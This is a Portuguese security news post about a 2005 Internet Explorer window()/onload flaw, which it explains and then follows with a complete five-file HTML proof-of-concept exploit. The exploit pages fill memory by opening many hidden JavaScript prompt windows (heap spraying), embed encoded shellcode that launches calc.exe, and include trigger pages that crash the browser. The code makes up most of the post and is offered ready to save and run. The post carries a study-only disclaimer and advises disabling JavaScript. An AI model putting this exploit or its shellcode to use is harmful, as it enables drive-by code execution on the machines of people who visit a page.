Descoberta mais uma falha grave no Internet Explorer
A falha relatada ocorre quando o IE não inicia corretamente a função window(); do javascript em
conjunto com o evento Onload da tag
Como conseqüência o Internet Explorer encontra uma exceção ao tentar chamar um endereço 32 bit
situado em ECX, como demonstrado na seguinte linha de código:
CALL DWORD [ECX+8]
Devido ao erro, ECX é inadvertidamente entupido pela representação unicode de uma string
nomeada de OBJECT ou mais especificamente [0X006f005B].
Como segmentos de [0X006f005B] são deslocados para um endereço de memória inválido (ou não
existente), o Internet Explorer não progride causando um crash (negação de serviço).
Esta falha já havia sido detectada e informada em 31/05/2005 e classificada como de baixo risco.
Ao se fazer um estudo mais minucioso da vulnerabilidade foi observado que a instrução está sendo
referenciada em [0X00600000], um espaço reservado para guardar características das janelas
abertas no desktop, estas estruturas fazem verificações dos títulos das janelas, de teclas e de
todas as barras de menus (arquivo/editar/exibir) atribuíveis a sessão particular de cada janela.
Consequentemente é praticável prever que [0x006f005B], poderia ser alcançado ao invocar diversas
estruturas grandes.
Por exemplo: ao abrir 12 novas sessões do web browser incrementariam [0X00600000] em
[0X006f005B].
Como conseqüência, um Shellcode poderia ser introduzido através de um dos elementos da janela e
inserido exatamente no chamado a [0X006f005B]
Combinando várias aberturas de janelas (expandindo a seção da memória) e técnicas legais que
permitem modificar elementos da janela como nos exemplos abaixo:
1- Titulo longo no documento html
2- Arquivo com nome longo
3- Caixas de alerta grandes.
Todos os métodos acima ao serem testados tiveram uma falha principal:
Só funcionariam se a vitima tivesse o desktop limpo (nenhum outro aplicativo aberto) isso resulta
em uma possibilidade muito pequena para se explorar a falha, exceto por uma condição:
a
abertura de uma Janela de prompt do JavaScript.
Empregando uma técnica simples para invocar diversas aberturas do prompt do JavaScript é possível
saturar a memória com o código arbitrário.
Abaixo segue o código divulgado pela agência *
href=http://www.computerterrorism.com/research/ie/poc.htm target=_blank>COMPUTER TERRORISM*
onde a falha é explorada para se abrir o aplicativo CALC.EXE (calculadora do Windows), provando a
possibilidade de acesso a qualquer arquivo ao qual o usuário corrente tiver autorização.
>
São 5 arquivos HTML os quais devem ser salvos no mesmo diretório, index.htm, fillmem.htm,
bug2k.htm, bug.htm e blankwindow.htm.
atenção! os códigos abaixo são para estudo, a Total Security não se
responsabiliza pelo uso indevido.
nome do arquivo: index.htm
código:
***********************************************************
<!--
Computer Terrorism (UK)
==================================================
Microsoft Internet Explorer JavaScript Window() - Proof Of Concept
==================================================
Author:
--------
Stuart Pearson
Computer Terrorism (UK)
www.computerterrorism.com
21st November, 2005
Read the full advisory: http://www.computerterrorism.com/research/ie/ct21-11-2005
THE FOLLOWING PROOF OF CONCEPT IS PROVIDED EXCLUSIVELY FOR EDUCATIONAL
PURPOSES ONLY, AND IS PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED
WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR COMPUTER TERRORISM
MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE FITNESS
OF THIS CODE FOR ANY PARTICULAR PURPOSE.
PERMISSION TO USE, COPY, PRINT, AND DISTRIBUTE THIS DOCUMENT FOR EDUCATIONAL
PURPOSES IS HEREBY GRANTED, PROVIDED THAT THE TEXTUAL CONTENT REMAINS INTACT
AND UNMODIFIED.
-->
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Computer Terrorism - Microsoft Internet Explorer Proof of Concept</title>
<script type="text/javascript">
function runpoc(iframecount)
{
document.getElementById("table1").rows[2].cells[0].innerHTML="<p
align=center><B><font
color=#339966 size=1 face=Arial> loading,
please
wait....</font></p>"
document.getElementById("table1").rows[4].cells[0].innerHTML=""
document.getElementById("table1").rows[6].cells[0].innerHTML=""
document.getElementById("table1").rows[7].cells[0].innerHTML=""
document.getElementById("table1").rows[9].cells[0].innerHTML=""
top.consoleRef = open("blankWindow.htm","BlankWindow",
"width=1,height=1"
+",menubar=0"
+",toolbar=1"
+",status=0"
+",scrollbars=0"
+",left=1"
+",top=1"
+",resizable=0")
top.consoleRef.blur();
top.consoleRef.document.writeln(
"<html>"
+"<head>"
+"<title>CT</title>"
+"</head>"
+"<body onBlur=self.blur()>"
+"</body></html>"
)
self.focus() // Ensure the javascript prompt boxes are hidden in the background
for (i=1 ; i <=iframecount ; i++)
{
top.consoleRef.document.writeln("<iframe width=1 height=1 border=0 frameborder=0
src=fillmem.htm></iframe>")
}
if( iframecount == 8 ){
//alert("8");
top.consoleRef.document.writeln("<iframe width=1 height=1 border=0 frameborder=0
src=bug2k.htm></iframe>")
}
if( iframecount == 4 ){
//alert("4");
top.consoleRef.document.writeln("<iframe width=1 height=1 border=0 frameborder=0
src=bug.htm></iframe>")
}
//+"<iframe width=1 height=1 border=0 frameborder=0 src=bug.htm></iframe>"
//)
}
</script>
</head>
<body onLoad="self.moveTo(0,0);self.resizeTo(screen.width,screen.height);">
<p> </p>
<p> </p>
<table border="0" width="100%" id="table1">
<tr>
<td>
<p align="center">
<a href="http://www.computerterrorism.com?1">
<img border="0" src="http://computerterrorism.com/research/ie/ctlogo.png"
width="270" height="57"></a></p>
<p align="center"><font color="#333333"><b><font
size="1"
face="Arial">Microsoft Internet Explorer
JavaScript Window</font></b><font size="1"
face="Verdana">()</font><b><font
size="1" face="Arial">
Proof of Concept</font></b></font></td>
</tr>
<tr>
<td width="98%" height="22">
</td>
</tr>
<tr>
<td width="98%" height="22">
<p align="center"><b><font face="Arial"
size="1" color="#339966">The
following Proof of Concept is provided exclusively for educational purposes
<br>
only, and is subject to our standard website <u>
<a href="http://www.computerterrorism.com/termsandconditions.htm">
<font color="#339966">Terms and Conditions</font></a></u>
of
use.</font></b></td>
</tr>
<tr>
<td width="98%" height="15"> </td>
</tr>
<tr>
<td width="98%" height="15">
<p align="center"><b><font face="Arial"
size="1"
color="#333333">Selecione seu sistema operacional:-</font></b></td>
</tr>
<tr>
<td width="98%" height="10"></td>
</tr>
<tr>
<td width="98%" height="27" align="center">
<p><b><font color="#339966" size="1"
face="Arial">
-</font><font color="#333333"><font color="#333333"
size="1"
face="Arial"> </font> </font><font color="#333333"
size="1" face="Arial"><a href="#"
onclick="javascript:runpoc(4)">
<span style="text-decoration: none"><font color="#333333">Microsoft
Windows XP (todos os Service Packs)</font></span></a><font
color="#333333"> </font></font>
<font color="#339966" size="1" face="Arial">
-</font></b></td>
</tr>
<tr>
<td width="98%" height="22" align="center">
<p><b><font color="#339966" size="1"
face="Arial">
-</font><font color="#333333"><font color="#333333"
size="1"
face="Arial"> </font> </font><font color="#333333"
size="1" face="Arial"><a href="#"
onclick="javascript:runpoc(8)">
<span style="text-decoration: none"><font color="#333333">Microsoft
Windows 2000/Universal (Slower)</font></span></a><font
color="#333333"> </font></font>
<font color="#339966" size="1" face="Arial">
-</font></b></td>
</tr>
<tr>
<td width="98%" height="15" align="center">
</td>
</tr>
<tr>
<td width="98%" height="15" align="center">
<b><font color="#339966" face="Arial" size="1">o
link acima abrirá (
calc.exe) "poderia ser usado para abrir qualquer outro arquivo" <br>
<font color="#339966"><span style="text-decoration:
none">
<a href="http://www.computerterrorism.com/research/ie/ct21-11-2005.htm">
<font color="#339966"><span style="text-decoration:
none">(Read the full
advisory
here)</span></font></a></span></font></font></b></td>
</tr>
</table>
<p> </p>
</body>
</html>
fim do arquivo index.htm
***********************************************************
nome do arquivo: fillmem.htm
código:
***********************************************************
<HTML>
<HEAD>
<Script Language="JavaScript">
function load() {
var spearson=0
var eip = ""
var prep_shellcode = ""
var shellcode = ""
var fillmem = ""
//
// Address called by the bug (also serves as slide code)
//
for (spearson=1 ; spearson <=500 ; spearson++)
{
eip = eip + unescape("%u7030%u4300")
//eip = eip + unescape("%u4300")
}
//
// Create a large chunk for memory saturation
//
for (spearson=1 ; spearson <=200; spearson++)
{
fillmem = fillmem + eip
}
//
// Search for our shellcode (tagged with my initials) and copy to a more stable
area
//
prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u1111%u4190"
+
"%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" +
"%u002d%ua5F3%u9090%u905f%ue7ff")
//
// Harmless Calc.exe shellcode
//
shellcode = unescape("%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9EE%u2474"
+
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF")
fillmem = fillmem + prep_shellcode + shellcode
prompt(fillmem,"Computer Terrorism (UK) Ltd - Internet Explorer Vulnerability")
}
// -->
</Script>
</head>
<TITLE>Windows Explorer Exploit</TITLE>
<body onload="setTimeout("load()",2000)">
test test test
</body>
</html>
fim do arquivo fillmem.htm
***********************************************************
nome do arquivo: bug.htm
código:
***********************************************************
<html>
<TITLE>Crash XP</title>
<body onload="setTimeout("main()",6000)">
<SCRIPT>
function main()
{
document.write("<TITLE>hello2</TITLE>")
document.write("<body onload=window();>")
window.location.reload()
}
</SCRIPT>
<br><br><br><br><br><br><center><FONT
FACE=ARIAL SIZE 12PT>Please Wait
!</FONT></center>
fim do arquivo bug.htm
***********************************************************
nome do arquivo: bug2k.htm
codigo:
***********************************************************
<html>
<TITLE>Crash 2000</title>
<body onload="setTimeout("main()",20000)">
<SCRIPT>
function main()
{
document.write("<TITLE>hello2</TITLE>")
document.write("<body onload=window();>")
window.location.reload()
}
</SCRIPT>
<br><br><br><br><br><br><center><FONT
FACE=ARIAL SIZE 12PT>Please Wait
!</FONT></center>
fim do arquivo bug2k.htm
***********************************************************
nome do arquivo: blankwindow.htm
codigo:
***********************************************************
<html>
<TITLE>Blank Window</title>
<body></body>
</html>
fim do arquivo blankwindow.htm
***********************************************************
A microsoft ainda não se pronuciou a respeito da falha
O código é executado quando a página é carregada.
Para a falha ser explorada basta que o usuário visite um web site com código malicioso.
A vulnerabilidade foi relatada em um sistema completamente atualizado com internet Explorer 6,0 e Microsoft Windows 2000 SP4.
Nota: Nenhuma correção foi disponibilizada até o momento. Portanto, aconselha-se desabilitar o Javascript até que uma correção seja liberada.
Total Security
Comentários